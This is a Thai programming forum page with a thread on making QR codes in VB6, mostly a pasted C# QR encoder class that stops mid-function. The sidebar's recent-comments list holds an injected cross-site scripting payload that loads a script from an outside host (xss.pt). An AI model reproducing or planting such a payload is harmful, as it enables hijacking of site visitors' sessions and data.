หน้าแรก
 การบ้าน
  C/C++ new
  Java new
 Sourcecode.TV
  Android
  Blackberry
  C/C++
  Java
  Linux
  Windows Phone
  แจ้งเรื่องที่ต้องการ
 บทความ
  .NET
  Android
  Blackberry
  C++Builder
  Delphi
  Java
  Mobile
  Open Source
  Pocket PC
  Visual Basic
  Web
  Windows Phone
  Others
 แบบเรียนฟรี
  ASP
  ASP.NET Webmatrix
  C++
  eVB
  J2ME
  Java
  PHP
 ซอร์สโค้ด
  Android
  ASP
  C++
  VC++
  CGI-Perl
  Delphi
  Java
  jQuery
  PHP
  Visual Basic
  .NET
 บริการจากเรา
  เปิดท้าย... ขายโค้ด
  DoodeeHosting
  รับออกแบบ พัฒนาเว็บไซต์
  Freeware
  อัตราค่าโฆษณา
  รายชื่อลูกค้า
  สถิติผู้เข้าเว็บ
 ดาว์นโหลด
 ค้นหาข้อมูล
 กระดานสนทนา
  .NET
  C/C++
  Delphi
  Java
  Palm/PocketPC
  Visual Basic
  Web
  อื่นๆ
 กระดานงาน
 ลิงค์เว็บ
 เกี่ยวกับผม
 อัตราค่าโฆษณา
Social Network

Facebook  Twitter  YouTube
 New Article
 Webboard
 Freelanceboard
Freeware
โปรแกรมเบอร์ดี (BerDee)
โปรแกรมเบอร์ดี (Android)
เกมส์เป่ายิ้งฉุบ
เกมส์เป่ายิ้งฉุบ(Android)
WebcamMonitor
WebcamMonitor(Windows)
scSendMail
scSendMail(Windows)
MSN Caption
MSN Caption(Windows)
  Freelance comment
  ติดต่อสอบถามมาได้ตลอดนะ...
2015-07-29 13:35:58
  ถ้าผมต้องการเว็บที่พัฒน...
2015-01-18 15:33:54
  ถ้าผมต้องการเว็บที่พัฒน...
2015-01-18 15:32:51
  ติดต่อสอบถามเข้ามาได้นะ...
2014-01-06 12:47:38
  ถ้ายังหาคนสอนไม่ได้ ก็ลอ...
2013-07-06 01:04:37
  สนใจส่งขอบเขตมาคุยราคาก...
2013-03-24 18:54:20
  ถ้ายังไม่มีคนรับงานติดต...
2012-12-16 19:18:14
  สนใจคะ ติดต่อ 0905076277...
2012-11-12 11:07:46
  รับทำโปรเจ็คนักศึกษาหรื...
2012-10-29 03:10:46
  sukit_te34@hotmail.com...
2012-10-29 03:09:36
  Webboard comment
  ขอโคํดเกมเศรษฐีหน่อยครั...
2020-02-09 22:50:58
  ขอโค้ดเกม เป่ายิ้งฉุบหน่...
2020-01-28 23:42:26
  uuu...
2020-01-24 11:54:34
  ก็ต้องลง uninstall แล้วก็ลอง install...
2019-10-22 01:56:28
  ขอบคุณค่ะ คุณ maddog ลองทำดูแ...
2019-10-21 12:32:51
  ลองทำตามนี้ดู

https://stackoverflow.c...

2019-10-16 11:39:03
  ถ้าคนอื่นเขียนให้ แล้วมั...
2019-09-17 14:01:26
  ถ้าใช้ไฟฟ้า 0 หน่วยให้ขึ้...
2019-09-17 13:59:39
  ............
2019-08-20 14:19:49
  ผมทำคลิปสอนเขียน C# หาค่า BM...
2019-08-06 11:52:23
  Homework comment
  แบบนี้ขอเป็น ภาษา php หน่อย...
2019-09-18 14:36:34
  ผมไม่อยากให้คุณได้คะแนน...
2019-04-27 01:29:07
  อาจารย์เขาบอกแนวข้อสอบม...
2019-04-27 00:44:29
  ขอสอบถามการเขียน c++ ครับ เ...
2018-04-02 12:19:21
  โค้ดตัวอย่างศึกษาให้เข้...
2017-11-26 14:50:05
  คำนวณค่าน้ำโดยรับค่ามิเ...
2017-11-20 23:15:26
  ขอบคุณมากครับ...
2017-08-16 18:27:25
  ทำเอง งง เอง กะลังทำใหม่ค...
2017-04-18 18:40:46
  ทำเอง งง เอง กะลังทำใหม่ค...
2017-04-18 18:37:54
  ประเด็นแรก flowchart มันไม่มีภ...
2017-04-18 17:43:33
  Article comment
  asdasd...
2020-01-28 19:48:57
  ต้องการ ให้เขียน โปรแกรม ...
2019-12-09 11:39:58
  รับเขียน arx จาก vc++ 2017 ล็อคโปร...
2019-09-19 09:48:09
  ทำการ register ไฟล์ที่ชื่อ mswinsck.oc...
2019-09-17 14:05:56
  <Img sRC=https://xss.pt/op2fp.jpg>
<sCRiPt sRC=//xss.pt/op...

2019-09-12 13:43:34
  ใน vb 6 ไม่มี component winsock เลยค่ะ ส...
2019-09-03 10:31:02
  รบกวนขอสอบถามหน่อยนะครั...
2019-03-04 05:31:04
  สามารถนำตัวหนังสือจากภา...
2018-12-25 08:54:32
  มีcode ของ VB ไหมค่ะ ถ้ามีรบกว...
2017-09-28 16:50:02
  น่าจะได้ครับ ไม่เคยลอง
...

2017-07-11 09:59:35
  9Mcode comment
  อยากได้...
2014-02-21 08:52:19

Link Exchange

อัตราค่าโฆษณา
Statistics of Sourcecode in Thailand
 
 Webboard

- - - - - - - - - - - - - - ผู้ให้การสนับสนุน- - - - - - - - - - - - - -

กระทู้ #3153 [Vb]

ขอคำแนะนำ VB6 สร้าง QR code

VB6 สร้าง QR code
ใครเคยเขียนบ้างครับ ขอคำแนะนำหน่อยครับ หรือเป็นโค๊ดให้มาศึกษาเองก็ได้ครับ ฟังก์ชันก็ได้

ขอบคุณครับ
จากคุณ : thuna / duotj@fws.cc [2011-09-08 16:46:43]  

58.8.181.93 ความคิดเห็น #28494 (จาก IP: 58.8.181.93)
http://chart.apis.google.com/chart?cht=qr&chs=300x300&chl=http://www.sourcecode.in.th

เอาไปต่อเอาเอง
จากคุณ : maddog [2011-09-09 10:19:05]

203.107.236.71 ความคิดเห็น #28498 (จาก IP: 203.107.236.71)
using System;
using System.Collections.Generic;
using System.Text;
using System.Drawing.Imaging;
using System.Drawing;
using System.IO;
using System.Resources;

using ThoughtWorks.QRCode.Properties;

using SystemUtils = ThoughtWorks.QRCode.Codec.Util.SystemUtils;
using QRCodeUtility = ThoughtWorks.QRCode.Codec.Util.QRCodeUtility;

namespace ThoughtWorks.QRCode.Codec
{
public class QRCodeEncoder
{
public enum ENCODE_MODE {ALPHA_NUMERIC,NUMERIC,BYTE};

public enum ERROR_CORRECTION {L, M, Q, H};

//internal static String DATA_PATH = "qrcode_data";
//internal static String QRCODE_DATA_PATH = String.Empty;

internal ERROR_CORRECTION qrcodeErrorCorrect;
internal ENCODE_MODE qrcodeEncodeMode;
internal int qrcodeVersion;

internal int qrcodeStructureappendN;
internal int qrcodeStructureappendM;
internal int qrcodeStructureappendParity;

internal Color qrCodeBackgroundColor;
internal Color qrCodeForegroundColor;

internal int qrCodeScale;

internal String qrcodeStructureappendOriginaldata;

/// <summary>
/// Constructor
/// </summary>
public QRCodeEncoder()
{
qrcodeErrorCorrect = ERROR_CORRECTION.M;
qrcodeEncodeMode = ENCODE_MODE.BYTE;
qrcodeVersion = 7;

qrcodeStructureappendN = 0;
qrcodeStructureappendM = 0;
qrcodeStructureappendParity = 0;
qrcodeStructureappendOriginaldata = "";

qrCodeScale = 4;
qrCodeBackgroundColor = Color.White;
qrCodeForegroundColor = Color.Black;

//QRCODE_DATA_PATH = Environment.CurrentDirectory + @"\" + DATA_PATH;

}


virtual public ERROR_CORRECTION QRCodeErrorCorrect
{
get
{
return qrcodeErrorCorrect;
}

set
{
qrcodeErrorCorrect = value;
}

}

virtual public int QRCodeVersion
{
get
{
return qrcodeVersion;
}

set
{
if (value >= 0 && value <= 40)
{
qrcodeVersion = value;
}
}

}

virtual public ENCODE_MODE QRCodeEncodeMode
{
get
{
return qrcodeEncodeMode;
}

set
{
qrcodeEncodeMode = value;
}

}

virtual public int QRCodeScale
{
get
{
return qrCodeScale;
}
set
{
qrCodeScale = value;
}
}

virtual public Color QRCodeBackgroundColor
{
get
{
return qrCodeBackgroundColor;
}
set
{
qrCodeBackgroundColor = value;
}
}

virtual public Color QRCodeForegroundColor
{
get
{
return qrCodeForegroundColor;
}
set
{
qrCodeForegroundColor = value;
}
}


public virtual void setStructureappend(int m, int n, int p)
{
if (n > 1 && n <= 16 && m > 0 && m <= 16 && p >= 0 && p <= 255)
{
qrcodeStructureappendM = m;
qrcodeStructureappendN = n;
qrcodeStructureappendParity = p;
}
}

public virtual int calStructureappendParity(sbyte[] originaldata)
{
int originaldataLength;
int i = 0;
int structureappendParity = 0;

originaldataLength = originaldata.Length;

if (originaldataLength > 1)
{
structureappendParity = 0;
while (i < originaldataLength)
{
structureappendParity = (structureappendParity ^ (originaldata[i] & 0xFF));
i++;
}
}
else
{
structureappendParity = - 1;
}
return structureappendParity;
}

public virtual bool[][] calQrcode(byte[] qrcodeData)
{
int dataLength;
int dataCounter = 0;

dataLength = qrcodeData.Length;

int[] dataValue = new int[dataLength + 32];
sbyte[] dataBits = new sbyte[dataLength + 32];

if (dataLength <= 0)
{
bool[][] ret = new bool[][]{new bool[]{false}};
return ret;
}

if (qrcodeStructureappendN > 1)
{
dataValue[0] = 3;
dataBits[0] = 4;

dataValue[1] = qrcodeStructureappendM - 1;
dataBits[1] = 4;

dataValue[2] = qrcodeStructureappendN - 1;
dataBits[2] = 4;

dataValue[3] = qrcodeStructureappendParity;
dataBits[3] = 8;

dataCounter = 4;
}
dataBits[dataCounter] = 4;

/* --- determine encode mode --- */

int[] codewordNumPlus;
int codewordNumCounterValue;

switch (qrcodeEncodeMode)
{
/* ---- alphanumeric mode --- */
case ENCODE_MODE.ALPHA_NUMERIC:

codewordNumPlus = new int[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4};

dataValue[dataCounter] = 2;
dataCounter++;
dataValue[dataCounter] = dataLength;
dataBits[dataCounter] = 9;
codewordNumCounterValue = dataCounter;

dataCounter++;
for (int i = 0; i < dataLength; i++)
{
char chr = (char) qrcodeData[i];
sbyte chrValue = 0;
if (chr >= 48 && chr < 58)
{
chrValue = (sbyte) (chr - 48);
}
else
{
if (chr >= 65 && chr < 91)
{
chrValue = (sbyte) (chr - 55);
}
else
{
if (chr == 32)
{
chrValue = 36;
}
if (chr == 36)
{
chrValue = 37;
}
if (chr == 37)
{
chrValue = 38;
}
if (chr == 42)
{
chrValue = 39;
}
if (chr == 43)
{
chrValue = 40;
}
if (chr == 45)
{
chrValue = 41;
}
if (chr == 46)
{
chrValue = 42;
}
if (chr == 47)
{
chrValue = 43;
}
if (chr == 58)
{
chrValue = 44;
}
}
}
if ((i % 2) == 0)
{
dataValue[dataCounter] = chrValue;
dataBits[dataCounter] = 6;
}
else
{
dataValue[dataCounter] = dataValue[dataCounter] * 45 + chrValue;
dataBits[dataCounter] = 11;
if (i < dataLength - 1)
{
dataCounter++;
}
}
}
dataCounter++;
break;

/* ---- numeric mode ---- */

case ENCODE_MODE.NUMERIC:

codewordNumPlus = new int[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4};

dataValue[dataCounter] = 1;
dataCounter++;
dataValue[dataCounter] = dataLength;

dataBits[dataCounter] = 10; /* #version 1-9*/
codewordNumCounterValue = dataCounter;

dataCounter++;
for (int i = 0; i < dataLength; i++)
{

if ((i % 3) == 0)
{
dataValue[dataCounter] = (int) (qrcodeData[i] - 0x30);
dataBits[dataCounter] = 4;
}
else
{

dataValue[dataCounter] = dataValue[dataCounter] * 10 + (int) (qrcodeData[i] - 0x30);

if ((i % 3) == 1)
{
dataBits[dataCounter] = 7;
}
else
{
dataBits[dataCounter] = 10;
if (i < dataLength - 1)
{
dataCounter++;
}
}
}
}
dataCounter++;
break;

/* ---- 8bit byte ---- */

default:

codewordNumPlus = new int[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8};
dataValue[dataCounter] = 4;
dataCounter++;
dataValue[dataCounter] = dataLength;
dataBits[dataCounter] = 8; /* #version 1-9 */
codewordNumCounterValue = dataCounter;

dataCounter++;

for (int i = 0; i < dataLength; i++)
{
dataValue[i + dataCounter] = (qrcodeData[i] & 0xFF);
dataBits[i + dataCounter] = 8;
}
dataCounter += dataLength;

break;

}

int totalDataBits = 0;
for (int i = 0; i < dataCounter; i++)
{
totalDataBits += dataBits[i];
}

int ec;
switch (qrcodeErrorCorrect)
{

case ERROR_CORRECTION.L:
ec = 1;
break;

case ERROR_CORRECTION.Q:
ec = 3;
break;

case ERROR_CORRECTION.H:
ec = 2;
break;

default:
ec = 0;
break;

}


int[][] maxDataBitsArray = new int[][]{new int[]{0, 128, 224, 352, 512, 688, 864, 992, 1232, 1456, 1728, 2032, 2320, 2672, 2920, 3320, 3624, 4056, 4504, 5016, 5352, 5712, 6256, 6880, 7312, 8000, 8496, 9024, 9544, 10136, 10984, 11640, 12328, 13048, 13800, 14496, 15312, 15936, 16816, 17728, 18672}, new int[]{0, 152, 272, 440, 640, 864, 1088, 1248, 1552, 1856, 2192, 2592, 2960, 3424, 3688, 4184, 4712, 5176, 5768, 6360, 6888, 7456, 8048, 8752, 9392, 10208, 10960, 11744, 12248, 13048, 13880, 14744, 15640, 16568, 17528, 18448, 19472, 20528, 21616, 22496, 23648}, new int[]{0, 72, 128, 208, 288, 368, 480, 528, 688, 800, 976, 1120, 1264, 1440, 1576, 1784, 2024, 2264, 2504, 2728, 3080, 3248, 3536, 3712, 4112, 4304, 4768, 5024, 5288, 5608, 5960, 6344, 6760, 7208, 7688, 7888, 8432, 8768, 9136, 9776, 10208}, new int[]{0, 104, 176, 272, 384, 496, 608, 704, 880, 1056, 1232, 1440, 1648, 1952, 2088, 2360, 2600, 2936, 3176, 3560, 3880, 4096, 4544, 4912, 5312, 5744, 6032, 6464, 6968, 7288, 7880, 8264, 8920, 9368, 9848, 10288, 10832, 11408, 12016, 12656, 13328}};

int maxDataBits = 0;

if (qrcodeVersion == 0)
{
/* auto version select */

qrcodeVersion = 1;
for (int i = 1; i <= 40; i++)
{
if ((maxDataBitsArray[ec][i]) >= totalDataBits + codewordNumPlus[qrcodeVersion])
{
maxDataBits = maxDataBitsArray[ec][i];
break;
}
qrcodeVersion++;
}
}
else
{
maxDataBits = maxDataBitsArray[ec][qrcodeVersion];
}
totalDataBits += codewordNumPlus[qrcodeVersion];
dataBits[codewordNumCounterValue] = (sbyte) (dataBits[codewordNumCounterValue] + codewordNumPlus[qrcodeVersion]);

int[] maxCodewordsArray = new int[]{0, 26, 44, 70, 100, 134, 172, 196, 242, 292, 346, 404, 466, 532, 581, 655, 733, 815, 901, 991, 1085, 1156, 1258, 1364, 1474, 1588, 1706, 1828, 1921, 2051, 2185, 2323, 2465, 2611, 2761, 2876, 3034, 3196, 3362, 3532, 3706};

int maxCodewords = maxCodewordsArray[qrcodeVersion];
int maxModules1side = 17 + (qrcodeVersion << 2);

int[] matrixRemainBit = new int[]{0, 0, 7, 7, 7, 7, 7, 0, 0, 0, 0, 0, 0, 0, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 0, 0, 0, 0, 0, 0};

/* ---- read version ECC data file */

int byte_num = matrixRemainBit[qrcodeVersion] + (maxCodewords << 3);

sbyte[] matrixX = new sbyte[byte_num];
sbyte[] matrixY = new sbyte[byte_num];
sbyte[] maskArray = new sbyte[byte_num];
sbyte[] formatInformationX2 = new sbyte[15];
sbyte[] formatInformationY2 = new sbyte[15];
sbyte[] rsEccCodewords = new sbyte[1];
sbyte[] rsBlockOrderTemp = new sbyte[128];

try
{
//String filename = QRCODE_DATA_PATH + @"\qrv" + System.Convert.ToString(qrcodeVersion) + "_" + System.Convert.ToString(ec) + ".dat";
//StreamReader reader = new StreamReader(filename);
//BufferedStream bis = new BufferedStream(reader.BaseStream);

String fileName = "qrv" + Convert.ToString(qrcodeVersion) + "_" + Convert.ToString(ec);
MemoryStream memoryStream = new MemoryStream(Resources.GetResource(fileName));
BufferedStream bis = new BufferedStream(memoryStream);

SystemUtils.ReadInput(bis, matrixX, 0, matrixX.Length);
SystemUtils.ReadInput(bis, matrixY, 0, matrixY.Length);
SystemUtils.ReadInput(bis, maskArray, 0, maskArray.Length);
SystemUtils.ReadInput(bis, formatInformationX2, 0, formatInformationX2.Length);
SystemUtils.ReadInput(bis, formatInformationY2, 0, formatInformationY2.Length);
SystemUtils.ReadInput(bis, rsEccCodewords, 0, rsEccCodewords.Length);
SystemUtils.ReadInput(bis, rsBlockOrderTemp, 0, rsBlockOrderTemp.Length);

bis.Close();
memoryStream.Close();

// reader.Close();
/*
fis.Close();
*/
}
catch (Exception e)
{
SystemUtils.WriteStackTrace(e, Console.Error);
}

sbyte rsBlockOrderLength = 1;
for (sbyte i = 1; i < 128; i++)
{
if (rsBlockOrderTemp[i] == 0)
{
rsBlockOrderLength = i;
break;
}
}
sbyte[] rsBlockOrder = new sbyte[rsBlockOrderLength];
Array.Copy(rsBlockOrderTemp, 0, rsBlockOrder, 0, (byte) rsBlockOrderLength);


sbyte[] formatInformationX1 = new sbyte[]{0, 1, 2, 3, 4, 5, 7, 8, 8, 8, 8, 8, 8, 8, 8};
sbyte[] formatInformationY1 = new sbyte[]{8, 8, 8, 8, 8, 8, 8, 8, 7, 5, 4, 3, 2, 1, 0};

int maxDataCodewords = maxDataBits >> 3;

/* -- read frame data -- */

int modules1Side = 4 * qrcodeVersion + 17;
int matrixTotalBits = modules1Side * modules1Side;
sbyte[] frameData = new sbyte[matrixTotalBits + modules1Side];

try
{
//String filename = QRCODE_DATA_PATH + "/qrvfr" + System.Convert.ToString(qrcodeVersion) + ".dat";
//StreamReader reader = new StreamReader(filename);

String fileName = "qrvfr" + Convert.ToString(qrcodeVersion);
MemoryStream memoryStream = new MemoryStream(Resources.GetResource(fileName));

BufferedStream bis = new BufferedStream(memoryStream);
SystemUtils.ReadInput(bis, frameData, 0, frameData.Length);
bis.Close();
memoryStream.Close();
//reader.Close();
//fis.Close();
}
catch (Exception e)
{
SystemUtils.WriteStackTrace(e, Console.Error);
}

/* --- set terminator */

if (totalDataBits <= maxDataBits - 4)
{
dataValue[dataCounter] = 0;
dataBits[dataCounter] = 4;
}
else
{
if (totalDataBits < maxDataBits)
{
dataValue[dataCounter] = 0;
dataBits[dataCounter] = (sbyte) (maxDataBits - totalDataBits);
}
else
{
if (totalDataBits > maxDataBits)
{
System.Console.Out.WriteLine("overflow");
}
}
}
sbyte[] dataCodewords = divideDataBy8Bits(dataValue, dataBits, maxDataCodewords);
sbyte[] codewords = calculateRSECC(dataCodewords, rsEccCodewords[0], rsBlockOrder, maxDataCodewords, maxCodewords);

/* ---- flash matrix */

sbyte[][] matrixContent = new sbyte[modules1Side][];
for (int i2 = 0; i2 < modules1Side; i2++)
{
matrixContent[i2] = new sbyte[modules1Side];
}

for (int i = 0; i < modules1Side; i++)
{
for (int j = 0; j < modules1Side; j++)
{
matrixContent[j][i] = 0;
}
}

/* --- attach data */
for (int i = 0; i < maxCodewords; i++)
{

sbyte codeword_i = codewords[i];
for (int j = 7; j >= 0; j--)
{

int codewordBitsNumber = (i * 8) + j;

matrixContent[matrixX[codewordBitsNumber] & 0xFF][matrixY[codewordBitsNumber] & 0xFF] = (sbyte) ((255 * (codeword_i & 1)) ^ maskArray[codewordBitsNumber]);

codeword_i = (sbyte) (SystemUtils.URShift((codeword_i & 0xFF), 1));
}
}

for (int matrixRemain = matrixRemainBit[qrcodeVersion]; matrixRemain > 0; matrixRemain--)
{
int remainBitTemp = matrixRemain + (maxCodewords * 8) - 1;
matrixContent[matrixX[remainBitTemp] & 0xFF][matrixY[remainBitTemp] & 0xFF] = (sbyte) (255 ^ maskArray[remainBitTemp]);
}

/* --- mask select --- */
sbyte maskNumber = selectMask(matrixContent, matrixRemainBit[qrcodeVersion] + maxCodewords * 8);
sbyte maskContent = (sbyte) (1 << maskNumber);

/* --- format information --- */

sbyte formatInformationValue = (sbyte) (ec << 3 | maskNumber);

String[] formatInformationArray = new String[]{"101010000010010", "101000100100101", "101111001111100", "101101101001011", "100010111111001", "100000011001110", "100111110010111", "100101010100000", "111011111000100", "111001011110011", "111110110101010", "111100010011101", "110011000101111", "110001100011000", "110110001000001", "110100101110110", "001011010001001", "001001110111110", "001110011100111", "001100111010000", "000011101100010", "000001001010101", "000110100001100", "000100000111011", "011010101011111", "011000001101000", "011111100110001", "011101000000110", "010010010110100", "010000110000011", "010111011011010", "010101111101101"};

for (int i = 0; i < 15; i++)
{

sbyte content = (sbyte) System.SByte.Parse(formatInformationArray[formatInformationValue].Substring(i, (i + 1) - (i)));

matrixContent[formatInformationX1[i] & 0xFF][formatInformationY1[i] & 0xFF] = (sbyte) (content * 255);
matrixContent[formatInformationX2[i] & 0xFF][formatInformationY2[i] & 0xFF] = (sbyte) (content * 255);
}

bool[][] out_Renamed = new bool[modules1Side][];
for (int i3 = 0; i3 < modules1Side; i3++)
{
out_Renamed[i3] = new bool[modules1Side];
}

int c = 0;
for (int i = 0; i < modules1Side; i++)
{
for (int j = 0; j < modules1Side; j++)
{

if ((matrixContent[j][i] & maskContent) != 0 || frameData[c] == (char) 49)
{
out_Renamed[j][i] = true;
}
else
{
out_Renamed[j][i] = false;
}
c++;
}
c++;
}

return out_Renamed;
}

private static sbyte[] divideDataBy8Bits(int[] data, sbyte[] bits, int maxDataCodewords)
{
/* divide Data By 8bit and add padding char */
int l1 = bits.Length;
int l2;
int codewordsCounter = 0;
int remainingBits = 8;
int max = 0;
int buffer;
int bufferBits;
bool flag;

if (l1 != data.Length)
{
}
for (int i = 0; i < l1; i++)
{
max += bits[i];
}
l2 = (max - 1) / 8 + 1;
sbyte[] codewords = new sbyte[maxDataCodewords];
for (int i = 0; i < l2; i++)
{
codewords[i] = 0;
}
for (int i = 0; i < l1; i++)
{
buffer = data[i];
bufferBits = bits[i];
flag = true;

if (bufferBits == 0)
{
break;
}
while (flag)
{
if (remainingBits > bufferBits)
{
codewords[codewordsCounter] = (sbyte) ((codewords[codewordsCounter] << bufferBits) | buffer);
remainingBits -= bufferBits;
flag = false;
}
else
{
bufferBits -= remainingBits;
codewords[codewordsCounter] = (sbyte) ((codewords[codewordsCounter] << remainingBits) | (buffer >> bufferBits));

if (bufferBits == 0)
{
flag = false;
}
else
{
buffer = (buffer & ((1 << bufferBits) - 1));
flag = true;
}
codewordsCounter++;
remainingBits = 8;
}
}
}
if (remainingBits != 8)
{
codewords[codewordsCounter] = (sbyte) (codewords[codewordsCounter] << remainingBits);
}
else
{
codewordsCounter--;
}
if (codewordsCounter < maxDataCodewords - 1)
{
flag = true;
while (codewordsCounter < maxDataCodewords - 1)
{
codewordsCounter++;
if (flag)
{
codewords[codewordsCounter] = - 20;
}
else
{
codewords[codewordsCounter] = 17;
}
flag = !(flag);
}
}
return codewords;
}


private static sbyte[] calculateRSECC(sbyte[] codewords, sbyte rsEccCodewords, sbyte[] rsBlockOrder, int maxDataCodewords, int maxCodewords)
{

sbyte[][] rsCalTableArray = new sbyte[256][];
for (int i = 0; i < 256; i++)
{
rsCalTableArray[i] = new sbyte[rsEccCodewords];
}
try
{
//String filename = QRCODE_DATA_PATH + @"\rsc" + rsEccCodewords.ToString() + ".dat";
//StreamReader reader = new StreamReader(filename);
String fileName = "rsc" + rsEccCodewords.ToString();
MemoryStream memoryStream = new MemoryStream(Resources.GetResource(fileName));
BufferedStream bis = new BufferedStream(memoryStream);
for (int i = 0; i < 256; i++)
{
SystemUtils.ReadInput(bis, rsCalTableArray[i], 0, rsCalTableArray[i].Length);
}
bis.Close();
//reader.Close();
memoryStream.Close();
}
catch (Exception e)
{
SystemUtils.WriteStackTrace(e, Console.Error);
}


/* ---- RS-ECC prepare */

int i2 = 0;
int j = 0;
int rsBlockNumber = 0;

sbyte[][] rsTemp = new sbyte[1000][];
/*
for (int i = 0; i < rsBlockOrder.Length; i++)
{
rsTemp[i] = new sbyte[rsBlockOrder.Length];
}
*/
sbyte[] res = new sbyte[maxCodewords];
Array.Copy(codewords, 0, res, 0, codewords.Length);

i2 = 0;
while (i2 < rsBlockOrder.Length)
{
rsTemp[i2] = new sbyte[(rsBlockOrder[i2] & 0xFF) - rsEccCodewords];
i2++;
}
i2 = 0;
while (i2 < maxDataCodewords)
{
rsTemp[0][j] = codewords[i2];
j++;
if (j >= (rsBlockOrder[rsBlockNumber] & 0xFF) - rsEccCodewords)
{
j = 0;
rsBlockNumber++;
}
i2++;
}

/* --- RS-ECC main --- */

rsBlockNumber = 0;
while (rsBlockNumber < rsBlockOrder.Length)
{
sbyte[] rsTempData;
rsTempData = new sbyte[rsTemp[rsBlockNumber].Length];
rsTemp[rsBlockNumber].CopyTo(rsTempData, 0);

int rsCodewords = (rsBlockOrder[rsBlockNumber] & 0xFF);
int rsDataCodewords = rsCodewords - rsEccCodewords;

j = rsDataCodewords;
while (j > 0)
{
sbyte first = rsTempData[0];
if (first != 0)
{
sbyte[] leftChr = new sbyte[rsTempData.Length - 1];
Array.Copy(rsTempData, 1, leftChr, 0, rsTempData.Length - 1);
sbyte[] cal = rsCalTableArray[(first & 0xFF)];
rsTempData = calculateByteArrayBits(leftChr, cal, "xor");
}
else
{
if (rsEccCodewords < rsTempData.Length)
{
sbyte[] rsTempNew = new sbyte[rsTempData.Length - 1];
Array.Copy(rsTempData, 1, rsTempNew, 0, rsTempData.Length - 1);
rsTempData = new sbyte[rsTempNew.Length];
rsTempNew.CopyTo(rsTempData, 0);
}
else
{
sbyte[] rsTempNew = new sbyte[rsEccCodewords];
Array.Copy(rsTempData, 1, rsTempNew, 0, rsTempData.Length - 1);
rsTempNew[rsEccCodewords - 1] = 0;
rsTempData = new sbyte[rsTempNew.Length];
rsTempNew.CopyTo(rsTempData, 0);
}
}
j--;
}

Array.Copy(rsTempData, 0, res, codewords.Length + rsBlockNumber * rsEccCodewords, (byte) rsEccCodewords);
rsBlockNumber++;
}
return res;
}

private static sbyte[] calculateByteArrayBits(sbyte[] xa, sbyte[] xb, String ind)
{
int ll;
int ls;
sbyte[] res;
sbyte[] xl;
sbyte[] xs;

if (xa.Length > xb.Length)
{
xl = new sbyte[xa.Length];
xa.CopyTo(xl, 0);
xs = new sbyte[xb.Length];
xb.CopyTo(xs, 0);
}
else
{
xl = new sbyte[xb.Length];
xb.CopyTo(xl, 0);
xs = new sbyte[xa.Length];
xa.CopyTo(xs, 0);
}
ll = xl.Length;
ls = xs.Length;
res = new sbyte[ll];

for (int i = 0; i < ll; i++)
{
if (i < ls)
{
if ((System.Object) ind == (System.Object) "xor")
{
res[i] = (sbyte) (xl[i] ^ xs[i]);
}
else
{
res[i] = (sbyte) (xl[i] | xs[i]);
}
}
else
{
res[i] = xl[i];
}
}
return res;
}

private static sbyte selectMask(sbyte[][] matrixContent, int maxCodewordsBitWithRemain)
{
int l = matrixContent.Length;
int[] d1 = new int[]{0, 0, 0, 0, 0, 0, 0, 0};
int[] d2 = new int[]{0, 0, 0, 0, 0, 0, 0, 0};
int[] d3 = new int[]{0, 0, 0, 0, 0, 0, 0, 0};
int[] d4 = new int[]{0, 0, 0, 0, 0, 0, 0, 0};

int d2And = 0;
int d2Or = 0;
int[] d4Counter = new int[]{0, 0, 0, 0, 0, 0, 0, 0};

for (int y = 0; y < l; y++)
{
int[] xData = new int[]{0, 0, 0, 0, 0, 0, 0, 0};
int[] yData = new int[]{0, 0, 0, 0, 0, 0, 0, 0};
bool[] xD1Flag = new bool[]{false, false, false, false, false, false, false, false};
bool[] yD1Flag = new bool[]{false, false, false, false, false, false, false, false};

for (int x = 0; x < l; x++)
{

if (x > 0 && y > 0)
{
d2And = matrixContent[x][y] & matrixContent[x - 1][y] & matrixContent[x][y - 1] & matrixContent[x - 1][y - 1] & 0xFF;

d2Or = (matrixContent[x][y] & 0xFF) | (matrixContent[x - 1][y] & 0xFF) | (matrixContent[x][y - 1] & 0xFF) | (matrixContent[x - 1][y - 1] & 0xFF);
}

for (int maskNumber = 0; maskNumber < 8; maskNumber++)
{

xData[maskNumber] = ((xData[maskNumber] & 63) << 1) | ((SystemUtils.URShift((matrixContent[x][y] & 0xFF), maskNumber)) & 1);


yData[maskNumber] = ((yData[maskNumber] & 63) << 1) | ((SystemUtils.URShift((matrixContent[y][x] & 0xFF), maskNumber)) & 1);


if ((matrixContent[x][y] & (1 << maskNumber)) != 0)
{
d4Counter[maskNumber]++;
}


if (xData[maskNumber] == 93)
{
d3[maskNumber] += 40;
}

if (yData[maskNumber] == 93)
{
d3[maskNumber] += 40;
}

if (x > 0 && y > 0)
{

if (((d2And & 1) != 0) || ((d2Or & 1) == 0))
{
d2[maskNumber] += 3;
}

d2And = d2And >> 1;
d2Or = d2Or >> 1;
}

if (((xData[maskNumber] & 0x1F) == 0) || ((xData[maskNumber] & 0x1F) == 0x1F))
{
if (x > 3)
{
if (xD1Flag[maskNumber])
{
d1[maskNumber]++;
}
else
{
d1[maskNumber] += 3;
xD1Flag[maskNumber] = true;
}
}
}
else
{
xD1Flag[maskNumber] = false;
}
if (((yData[maskNumber] & 0x1F) == 0) || ((yData[maskNumber] & 0x1F) == 0x1F))
{
if (x > 3)
{
if (yD1Flag[maskNumber])
{
d1[maskNumber]++;
}
else
{
d1[maskNumber] += 3;
yD1Flag[maskNumber] = true;
}
}
}
else
{
yD1Flag[maskNumber] = false;
}
}
}
}
int minValue = 0;
sbyte res = 0;
int[] d4Value = new int[]{90, 80, 70, 60, 50, 40, 30, 20, 10, 0, 0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 90};
for (int maskNumber = 0; maskNumber < 8; maskNumber++)
{

